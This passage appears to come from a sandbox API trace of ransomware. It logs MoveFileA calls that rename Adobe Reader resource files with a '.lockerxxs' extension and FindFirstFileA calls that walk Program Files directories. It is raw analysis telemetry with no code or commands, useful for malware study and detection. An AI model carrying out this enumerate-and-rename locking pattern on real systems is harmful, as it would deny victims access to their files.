10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1255.txt.lockerxxs")) returned 1 [0075.926] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1256.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1256.txt.lockerxxs")) returned 1 [0075.930] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1257.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1257.txt.lockerxxs")) returned 1 [0075.933] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1258.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1258.txt.lockerxxs")) returned 1 [0075.936] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP874.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp874.txt.lockerxxs")) returned 1 [0075.946] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP932.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp932.txt.lockerxxs")) returned 1 [0075.973] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP936.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp936.txt.lockerxxs")) returned 1 [0076.044] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt.lockerxxs")) returned 1 [0076.058] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP950.TXT.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp950.txt.lockerxxs")) returned 1 [0076.059] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf66ca0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf66ca0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790054, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.060] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.069] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\vigtigt.htm.lockerxxs")) returned 1 [0076.073] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktig.htm.lockerxxs")) returned 1 [0076.077] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\viktigt.htm.lockerxxs")) returned 1 [0076.078] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdbc8a580, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbc8a580, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x502518 [0076.078] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4fa4e0, dwReserved1=0x4fa4db, cFileName=".", cAlternateFileName="")) returned 0x502598 [0076.078] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4ff4e8, dwReserved1=0x4ff4e3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.078] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.088] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.088] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.091] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0076.093] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x5004eb, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.097] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.116] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.142] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.145] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.149] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.152] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.153] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.155] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d580500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d580500, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.158] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.159] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.161] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.163] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.165] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.167] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.169] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5a6660, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5a6660, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.170] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.171] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.173] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.175] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.176] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.180] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.181] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.183] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5cc7c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5cc7c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0076.185] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, 